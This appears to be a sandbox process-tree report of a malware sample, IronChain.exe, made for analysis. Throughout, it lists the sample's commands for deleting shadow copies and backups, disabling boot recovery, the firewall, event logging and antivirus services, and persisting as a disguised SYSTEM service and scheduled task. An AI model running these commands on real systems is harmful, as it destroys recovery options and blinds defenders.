C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exesc config swprv start= disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc delete swprv3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"3⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im Taskmgr.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im regedit.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"3⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"3⤵
-
C:\Windows\system32\sc.exesc config swprv start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"3⤵
-
C:\Windows\system32\sc.exesc stop swprv4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IronChain.exe""3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create MUi6crrwoksHoqfStSSheXc3uWrLiftIy binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "mNIYRZWajfOpNCHOAXQIN""3⤵
-
C:\Windows\system32\sc.exesc create MUi6crrwoksHoqfStSSheXc3uWrLiftIy binPath= "C:\Users\Admin\AppData\Local\Temp\IronChain.exe" start= auto DisplayName= "mNIYRZWajfOpNCHOAXQIN"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description MUi6crrwoksHoqfStSSheXc3uWrLiftIy "Trusted security module""3⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc description MUi6crrwoksHoqfStSSheXc3uWrLiftIy "Trusted security module"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start MUi6crrwoksHoqfStSSheXc3uWrLiftIy"3⤵
-
C:\Windows\system32\sc.exesc start MUi6crrwoksHoqfStSSheXc3uWrLiftIy4⤵
-
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im cmd.exe3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure MUi6crrwoksHoqfStSSheXc3uWrLiftIy reset= 86400 actions= restart/5000/restart/5000/restart/5000"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical MUi6crrwoksHoqfStSSheXc3uWrLiftIy"3⤵
-
C:\Windows\system32\sc.exesc critical MUi6crrwoksHoqfStSSheXc3uWrLiftIy4⤵
-
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im msconfig.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh3⤵
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im procexp.exe3⤵
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im procexp64.exe3⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\tasklist.exetasklist /fi "imagename eq mmc.exe" /fo csv /nh3⤵
- Discovers running processes
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /f /im mmc.exe3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "SCyisjtGeUmdHaoxshtsDfa1eNmCoOn" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "SCyisjtGeUmdHaoxshtsDfa1eNmCoOn""3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exeC:\Users\Admin\AppData\Local\Temp\IronChain.exe2⤵
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "IWHROoNYCHHbAVINm86Yc" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "IWHROoNYCHHbAVINm86Yc" /tr "C:\Users\Admin\AppData\Local\Temp\IronChain.exe C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "IWHROoNYCHHbAVINm86Yc""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "IWHROoNYCHHbAVINm86Yc"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop EventLog4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config EventLog start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc config Resmon start= disabled4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /reset"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /reset4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /inheritance:d"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /remove "Administrators""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /remove "Administrators"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /remove "Admin""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /remove "Admin"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /remove "Authenticated Users""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /remove "Authenticated Users"4⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /grant "Users:RX""3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /grant "Users:RX"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /inheritance:d"3⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" /inheritance:d4⤵
- Modifies file permissions
-
-
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exeC:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe3⤵
- Executes dropped EXE
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exeC:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "MIiYc8rioVs1oPfRtzSqePc1uwrYirtgy" /tr "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "MIiYc8rioVs1oPfRtzSqePc1uwrYirtgy" /tr "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe --old-path C:\Users\Admin\AppData\Local\Temp\IronChain.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /run /tn "MIiYc8rioVs1oPfRtzSqePc1uwrYirtgy""5⤵
-
C:\Windows\system32\schtasks.exeschtasks /run /tn "MIiYc8rioVs1oPfRtzSqePc1uwrYirtgy"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EventLog"5⤵
-
C:\Windows\system32\sc.exesc stop EventLog6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config EventLog start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"5⤵
-
C:\Windows\system32\sc.exesc stop Resmon6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config Resmon start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId6⤵
-
-
-
C:\Windows\System32\net.exenet stop AVP /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVP start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete AVP5⤵
-
-
C:\Windows\System32\net.exenet stop KAV /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config KAV start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete KAV5⤵
-
-
C:\Windows\System32\net.exenet stop BDSS /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config BDSS start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete BDSS5⤵
-
-
C:\Windows\System32\net.exenet stop Bitdefender /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Bitdefender start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Bitdefender5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Antivirus" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Antivirus" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Antivirus"5⤵
-
-
C:\Windows\System32\net.exenet stop "avast! Service" /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config "avast! Service" start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete "avast! Service"5⤵
-
-
C:\Windows\System32\net.exenet stop AVG /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config AVG start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete AVG5⤵
-
-
C:\Windows\System32\net.exenet stop MBAMService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MBAMService start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete MBAMService5⤵
-
-
C:\Windows\System32\net.exenet stop DrWeb /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config DrWeb start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete DrWeb5⤵
-
-
C:\Windows\System32\net.exenet stop wscsvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config wscsvc start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete wscsvc5⤵
-
-
C:\Windows\System32\net.exenet stop SecurityHealthService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config SecurityHealthService start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete SecurityHealthService5⤵
-
-
C:\Windows\System32\net.exenet stop Sense /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config Sense start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete Sense5⤵
-
-
C:\Windows\System32\net.exenet stop WinDefend /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WinDefend start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete WinDefend5⤵
-
-
C:\Windows\System32\net.exenet stop WdNisSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WdNisSvc /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config WdNisSvc start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete WdNisSvc5⤵
-
-
C:\Windows\System32\net.exenet stop MpKslDrv /y5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpKslDrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config MpKslDrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete MpKslDrv5⤵
-
-
C:\Windows\System32\net.exenet stop NisSrv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NisSrv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config NisSrv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete NisSrv5⤵
-
-
C:\Windows\System32\net.exenet stop EventLog /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EventLog /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config EventLog start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete EventLog5⤵
- Launches sc.exe
-
-
C:\Windows\System32\net.exenet stop swprv /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swprv /y6⤵
-
-
-
C:\Windows\System32\sc.exesc config swprv start= disabled5⤵
-
-
C:\Windows\System32\sc.exesc delete swprv5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off6⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"5⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet6⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"5⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq Taskmgr.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im Taskmgr.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq regedit.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} safemode minimal"5⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} safemode minimal6⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im regedit.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq cmd.exe" /fo csv /nh5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"5⤵
-
C:\Windows\system32\sc.exesc config swprv start= disabled6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swprv"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop swprv6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe""5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc create SHyzsltpecmDHZoQsLtLDLaReBmlo6n binPath= "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" start= auto DisplayName= "MgiEcsrooss8offdtVSRepchu8rZiut9y""5⤵
-
C:\Windows\system32\sc.exesc create SHyzsltpecmDHZoQsLtLDLaReBmlo6n binPath= "C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" start= auto DisplayName= "MgiEcsrooss8offdtVSRepchu8rZiut9y"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc description SHyzsltpecmDHZoQsLtLDLaReBmlo6n "Trusted security module""5⤵
-
C:\Windows\system32\sc.exesc description SHyzsltpecmDHZoQsLtLDLaReBmlo6n "Trusted security module"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc start SHyzsltpecmDHZoQsLtLDLaReBmlo6n"5⤵
-
C:\Windows\system32\sc.exesc start SHyzsltpecmDHZoQsLtLDLaReBmlo6n6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc failure SHyzsltpecmDHZoQsLtLDLaReBmlo6n reset= 86400 actions= restart/5000/restart/5000/restart/5000"5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc failure SHyzsltpecmDHZoQsLtLDLaReBmlo6n reset= 86400 actions= restart/5000/restart/5000/restart/50006⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc critical SHyzsltpecmDHZoQsLtLDLaReBmlo6n"5⤵
-
C:\Windows\system32\sc.exesc critical SHyzsltpecmDHZoQsLtLDLaReBmlo6n6⤵
-
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im cmd.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq msconfig.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im msconfig.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\System32\tasklist.exetasklist /fi "imagename eq procexp64.exe" /fo csv /nh5⤵
-
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe5⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId 2>nul"3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic process where "ExecutablePath='C:\Users\Admin\AppData\Local\Temp\IronChain.exe'" get ProcessId4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\net.exenet stop AVP /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVP start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete AVP3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\system32\net.exenet stop KAV /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAV /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config KAV start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete KAV3⤵
-
-
C:\Windows\system32\net.exenet stop BDSS /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BDSS /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config BDSS start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete BDSS3⤵
-
-
C:\Windows\system32\net.exenet stop Bitdefender /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Bitdefender /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config Bitdefender start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete Bitdefender3⤵
-
-
C:\Windows\system32\net.exenet stop "avast! Antivirus" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Antivirus" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Antivirus" start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete "avast! Antivirus"3⤵
-
-
C:\Windows\system32\net.exenet stop "avast! Service" /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "avast! Service" /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config "avast! Service" start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete "avast! Service"3⤵
-
-
C:\Windows\system32\net.exenet stop AVG /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config AVG start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete AVG3⤵
-
-
C:\Windows\system32\net.exenet stop MBAMService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config MBAMService start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete MBAMService3⤵
-
-
C:\Windows\system32\net.exenet stop DrWeb /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DrWeb /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config DrWeb start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete DrWeb3⤵
-
-
C:\Windows\system32\net.exenet stop wscsvc /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config wscsvc start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete wscsvc3⤵
-
-
C:\Windows\system32\net.exenet stop SecurityHealthService /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config SecurityHealthService start= disabled3⤵
-
-
C:\Windows\system32\sc.exesc delete SecurityHealthService3⤵
-
-
C:\Windows\system32\net.exenet stop Sense /y3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Sense /y4⤵
-
-
-
C:\Windows\system32\sc.exesc config Sense start= disabled3⤵
-
-
